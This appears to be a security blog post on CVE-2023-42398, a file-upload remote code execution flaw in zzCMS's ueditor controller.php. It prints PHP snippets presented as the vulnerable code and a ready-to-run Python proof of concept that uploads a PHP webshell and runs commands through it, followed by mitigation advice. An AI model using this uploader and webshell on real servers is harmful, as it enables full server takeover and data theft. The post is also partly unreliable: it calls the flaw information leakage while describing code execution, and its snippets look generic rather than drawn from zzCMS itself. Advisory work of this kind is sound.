CVE-2023-42398 - Critical Remote Code Execution in zzCMS v2023 via ueditor (controller.php) – Full Details and Exploit Example

CVE-2023-42398 is a critical vulnerability discovered in zzCMS v2023 — an open-source CMS from China. This flaw lets remote attackers run any code they want on a target web server and also steal sensitive information. The weakness lies in the ueditor component inside controller.php. In this post, we break down how the exploit works and provide code snippets, so developers and sysadmins can understand and patch this dangerous bug.

About zzCMS

zzCMS is a content management system (CMS) written in PHP. Due to its lightweight nature and ease of use, it's popular among small webmasters in Asia.

The Vulnerability

The flaw, CVE-2023-42398, was found in the ueditor (rich text editor, similar to TinyMCE) handler script called controller.php. It does not sanitize user input properly, which allows an attacker to upload a malicious file or send specially crafted requests, leading to arbitrary code execution.

Vulnerability Type:

Sensitive Information Leakage

Component Affected:
- /ueditor/php/controller.php

How does the attack work?

The controller.php script accepts various actions, one of which is file uploads via the action GET/POST parameter (e.g., action=uploadimage, action=uploadfile). The server does not properly check the file type or sanitize the filename, so an attacker can upload a PHP webshell or other executable file.

Sample Vulnerable Code

// controller.php snippet
if ($action == 'uploadfile') {
    $result = include("action_upload.php");  // No strong file type checks
    // ...omitted...
    echo json_encode($result);
}

In action_upload.php, uploaded files get moved to a writable directory with almost no restrictions

// action_upload.php snippet
$uploadedFileName = $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], "/uploads/" . $uploadedFileName);
// No file extension or MIME type checking!

Exploit Idea:
An attacker uploads shell.php (a PHP file with malicious code), then accesses http://vulnerable-site.com/uploads/shell.php to run arbitrary commands!

Proof of Concept Exploit

Below is a sample code for exploiting this vulnerability. This is for educational purposes only.

Python PoC for uploading a webshell

import requests

url = "http://target-site.com/ueditor/php/controller.php?action=uploadfile";

# Create a simple PHP webshell
webshell = "<?php system($_GET['cmd']); ?>"

files = {
    'file': ('shell.php', webshell, 'application/octet-stream'),
}

response = requests.post(url, files=files)

if "shell.php" in response.text:
    print("[+] Webshell uploaded successfully.")
    print("Access it at: http://target-site.com/uploads/shell.php?cmd=whoami";)
else:
    print("[-] Upload failed.")

After upload, the attacker can run OS commands remotely via cmd parameter.

Result:
Attacker gains full control of the server.

References

- Original github issue (Chinese)
- CVE Details page for CVE-2023-42398
- zzCMS official website
- Exploit on Exploit-DB *(if/when available)*

How to Stay Safe

If you run zzCMS:

Update to the latest version as soon as a patch is available.

- Restrict access to /ueditor/php/controller.php or disable the ueditor component if not needed.

- Block PHP file uploads via web server config (e.g., htaccess rules)

# Prevent execution of PHP in uploads
<Directory "/path/to/uploads">
    php_admin_flag engine off
    Options -ExecCGI
    AddType text/plain .php .php5
</Directory>

Conclusion

CVE-2023-42398 demonstrates how easily remote attackers can compromise websites using poorly secured upload mechanisms. All zzCMS users should consider this a top-priority patch, and take steps to limit access to critical components. We hope this simple breakdown helps you secure your systems!

If you liked this post, share it with your fellow sysadmins and keep your apps updated!

Disclaimer:
This information is for educational purposes only. Do not use it to attack systems you do not own or without proper authorization.


*Exclusive research and writing by "your AI Security Assistant."*

Timeline

Published on: 09/15/2023 17:15:14 UTC
Last modified on: 09/20/2023 16:48:55 UTC